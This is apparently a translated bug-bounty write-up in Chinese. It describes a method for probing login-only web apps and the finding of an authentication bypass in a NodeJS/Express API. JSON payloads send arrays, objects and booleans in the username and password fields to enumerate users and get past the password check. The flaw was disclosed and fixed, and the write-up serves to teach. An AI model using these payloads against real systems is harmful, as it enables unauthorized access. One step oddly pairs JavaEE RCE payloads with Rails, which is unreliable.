本文主要针对的是我参加一个漏洞赏金计划的过程中发现的NodeJS应用程序身份验证绕过漏洞进行分析。我们将重点讲述我所使用的方法，以便在遇到类似的Web界面（仅提供单一登录表单）时可以利用这种方法来寻找漏洞。

方法论

如果大家曾经对大型网站（例如GM、Sony、Oath或Twitter）进行过漏洞挖掘，那么进行的第一项工作可能就是运行子域名发现工具，从而进入到初始侦查过程中。这样一来，我们就能获得潜在目标的列表，有时这一列表可能会达到数百个、数千个不同的主机。如果有人专注于网络应用程序的漏洞挖掘，可能会使用Aquatone这类工具，这类工具能够对常用端口上运行的Web服务进行扫描，同时列举出网站的响应标题，并打印出屏幕，最终提供一份HTML格式的报告。

但是，当我们查看报告时，会注意到，大多数情况下，这些Web服务器会呈现出“404 Not Found”、“401 Unauthorized”、“500 Internal Server Error”、默认Web界面或各种服务页面。其中，服务页面又包括VPN或网络设备登录页面、第三方软件、cPanels、WordPress登录页面等。我们可能无法直接获得Web应用程序的位置，这样就无法直接进入到寻找XSS或SQL注入漏洞的步骤。至少，到目前为止，我还没有这样的运气。

但有时，我们实际上可以找到一些看起来像自定义应用程序的界面，其中包含一些其他选项，例如注册或忘记密码。在这里，我们是可以进行一些操作的。遇到此类情况，我通常采用以下的处理方式：

1、首先要做的，就是检查页面的源代码，我们可以找到例如JavaScript或CSS这样的资源链接，并且能从中发现一些应用程序目录，例如/assets、/public、/scripts等。我们应该对这些目录进行检查，以发现其中是否存在可以利用的文件。

2、Wappalyzer（支持在所有流行浏览器上作为扩展使用）能够提供技术上的充分信息，包括Web服务器、服务器端使用的技术、JavaScript库等。这样一来，我们将掌握该页面的整体情况，并为进一步的测试选择正确的方法。在这里，如果应用程序是使用Ruby on Rails构建的，那么可以尝试使用针对JavaEE的RCE Payload。

3、如果发现任何JavaScript文件，我会执行一些静态分析，以确认是否有任何API终端暴露问题，以及是否存在任何客户端身份验证和用户输入验证逻辑。

4、在完成上述步骤并掌握一定信息后，我开始使用Burp Suite测试所有功能（包括登录、注册、忘记密码等）的实际逻辑，并拦截对服务器的请求。然后，我将请求发送到Repeater进行重放。具体而言，我们在application/json、application/xml和其他类型的位置更改Content-Type，使用多个Payload作为请求的主题，在不同的HTTP方法之间切换，或更改HTTP请求标头，并观察上述尝试是否能导致服务器端出现错误。如果应用程序存在任何漏洞，现在就是发现这些漏洞的最佳时机，我们需要认真观察每个响应，并且注意任何一点细小的变化。例如，我们使用PUT替换GET发出请求，标头是否出现缺少？如果我们发送一个格式错误的JSON，响应正文中是否会出现不寻常的字符？

5、最后，我运行wfuzz，尝试发现服务器上一些不需要的文件或文件夹。我自定义的“Starter Pack”字典中，包含一些Web服务器上常见的内容，例如.git或.svn这些源版本控制系统文件夹、JetBrain的.idea这类IDE目录、.DS_Store文件、配置文件、常见Web接口路径、管理员接口，以及Tomcat、JBoss、Sharepoint的特定文件或文件夹。这个字典中，共包含约45k的条目，我发现利用这一字典总能找到一些有趣的内容，可以帮助我进一步发现漏洞。

如果进行上述步骤后，没有任何发现，那么我认为这一应用程序的安全性较强，很可能没有漏洞能够绕过身份验证或进入应用程序。

在实际尝试中，通过分析认证的请求，我们得到了一些线索。实际上，这是一个简单的登录表单，但经过我们对HTTP响应标头进行分析并使用Wappalyzer进行扫描后，结果表明这是一个使用ExpressJS框架构建的NodeJS应用程序。我之前担任Web开发人员时，JavaScript是我最为常用的语言，并且我已经在寻找JavaScript相关的栈漏洞这一方面积累了充分的经验。因此，我决定深入挖掘这一漏洞，看看我能够做些什么。

漏洞发现

我们使用Payload，对侦查阶段发现的终端进行测试，在这里，找到了一个凭据错误的漏洞，该漏洞是在JSON的POST过程中包含用户名和密码：

POST /api/auth/login HTTP/1.1
Host: REDACTED
Connection: close
Content-Length: 48
Accept: application/json, text/plain, */*
Origin: REDACTED
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3558.0 Safari/537.36 DNT: 1
Content-Type: application/json;charset=UTF-8
Referer: REDACTED/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,pl-PL;q=0.8,pl;q=0.7
Cookie: REDACTED
 
{“username”:”bl4de”,”password”:”secretpassword”}

在本文的后续，我将省略HTTP标头，因为我们没有对标头进行任何更改。

在响应中，没有看到任何令人兴奋的内容，除了其中的一个细节：

HTTP/1.1 401 Unauthorized
X-Powered-By: Express
Vary: X-HTTP-Method-Override, Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET
Access-Control-Allow-Headers: X-Requested-With,content-type, Authorization
X-Content-Type-Options: nosniff
Content-Type: application/json; charset=utf-8
Content-Length: 83
ETag: W/”53-vxvZJPkaGgb/+r6gylAGG9yaeoE”
Date: Thu, 11 Oct 2018 18:50:26 GMT
Connection: close
 
{“result”:”User with login [bl4de] was not found.”,”resultCode”:401,”type”:”error”}

这个细节是，响应使用了方括号来返回我发送的用户名。因为在JavaScript中，方括号表示数组，所以这个用户名的返回值，看起来像是这个数组的实际元素。为了确认这一点，我发送了另一个Payload，一个空的数组：

{“username”:[],”password”:”secretpassword”}

服务器响应如下，印证了我们的这一推测：

{“result”:”User with login [] was not found.”,”resultCode”:401,”type”:”error”}

一个空的数组？那么方括号是否可以被接受为用户名呢？

我们尝试将空对象作为用户名提交，看看会发生什么：

{“username”:{},”password”:”secretpassword”}

针对该请求的响应内容，证明了我的猜想，刚刚发送的内容会在身份验证逻辑中用作用户名（尝试调用{}.replace函数，但没有替换JavaScript对象）：

{"result":"val.replace is not a function","resultCode":500,"type":"error"}

我们创建一个空的对象（对应上述响应中的val），然后调用replace()作为其方法。我们可以看到，错误完全相同：

let val = {}
 
val.replace()
 
VM188:1 Uncaught TypeError: val.replace is not a function
 at <anonymous>:1:5

漏洞利用

在确认了这一漏洞后，我们就要尝试对其进行成功的利用。我们根据其响应内容，推断背后所运行的代码，接下来要做的下一个测试，就是尽可能“捣乱”，以触发其他错误。看起来，嵌套数组（[[]]）是一个不错的尝试：

{“username”:[[]],”password”:”secretpassword”}

来自服务器的响应内容超出了我的预期：

{"result":"ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') OR `Person`.`REDACTED_ID` IN ()) LIMIT 1' at line 1","resultCode":409,"type":"error"}

在我们看到类似这样的错误信息时，会本能地想到SQL注入。但首先，我们需要知道如何在该查询中使用用户名来制作正确的Payload，并攻陷MySQL服务。我们知道，用户名被视为某个数组元素，因此我发送了一个请求，其中username只是数组的第一个元素（[0]）：

{“username”:[0],”password”:”secretpassword”}

这一次，应用程序返回了不一样的错误信息：

{“result”:”User super.adm, Request {\”port\”:21110,\”path\”:\”/REDACTED? ApiKey=REDACTED\”,\”headers\”:{\”Authorization\”:\”Basic c3VwZXIuYWRtOnNlY3JldHBhc3N3b3Jk\”}, \”host\”:\”api-global.REDACTED\”}, Response {\”faultcode\”:\”ERR_ACCESS_DENIED\”,\”faultstring\”:\”User credentials are wrong or missing.\”, \”correlationId\”:\”Id-d5a9bf5b7ad73e0042191000924e3ca9\”}”,”resultCode”:401,”type”:”error”}

经过快速分析后，我发现我能够以某种方式，使用ID为0的用户（或者某个数据结构中索引为0的用户）发送另一个请求。由于密码错误，显然并没有成功进行身份验证。实际上，我们可以看到Authorization表头中包含Base 64编码后的字符串super.adm:secretpassword，这也就意味着该应用程序确实启用了索引为0的用户。

接下来，我们想要弄清楚，是否可以使用后续的索引（1、2、3）从数据库中枚举用户。经过尝试，成功的找到了另外两个用户。此外，我们还发现可以传递任意数量的索引，作为登陆请求的用户名中的数组，它们将在IN()子句的SQL查询中使用：

{"username":[0,1,2,30,50,100],"password":"secretpassword"}

只要发现其中的某个索引有效，这一请求总会返回一个有效的用户（应用程序尝试使用SQL查询，从数据库中选择的用户名发送这一内部API请求）。但是，它仍然没有接受我尝试的密码，因此我们目前还没能完全绕过身份验证。我的下一个挑战，就是找到绕过密码验证的方法。

考虑到我正在分析JavaScript应用程序，那么我能想到的一个简单的东西就是Boolean false。

{“username”:[0],”password”:false}

这次，来自服务器的响应是不同的：

{"result":"Please provide credentials","resultCode":500,"type":"error"}

我从来没有见过这个错误，但我很快确认，刚刚的尝试是有效的，因为其中缺少了用户名和密码。由于我提供了用户名，服务器只需要验证密码，但false表示根本没有密码。如果我们其改成“null”或“0”（这些都是JavaScript中的False值），也将得到相同的响应。

最终PoC

所以，如果将密码设置为False不起作用，那么如何将密码设置为True呢？

{“username”:[0],”password”:true}

就是这样，使用数组的第一个元素（[0]）作为用户名，并且使用True关键字作为密码，使我成功绕过了身份验证，并得到如下响应：

{"result":"Given pin is not valid.","resultCode":401,"type":"error"}

需要澄清一点，完整的绕过并没有完成，原因在于这一过程中还涉及到第三个因素：PIN码。实际上，PIN码应该在登录后输入，由此证明我们已经绕过了身份验证机制。这一漏洞在提交后被认为有效，并且目前已经被厂商修复。

由于会使用正则表达式对用户名和密码进行检查，因此我们在尝试创建Payload时会返回语法错误的错误提示，因为Payload中包含不支持的字符，我们无法进行SQL注入。

致谢

最后，我要感谢该公司及安全团队的支持与及时修复，感谢HackerOne赏金计划使我拥有了探索漏洞的机会。最后，要感谢我所在的安全小组成员为这份报告所提供的支持与反馈。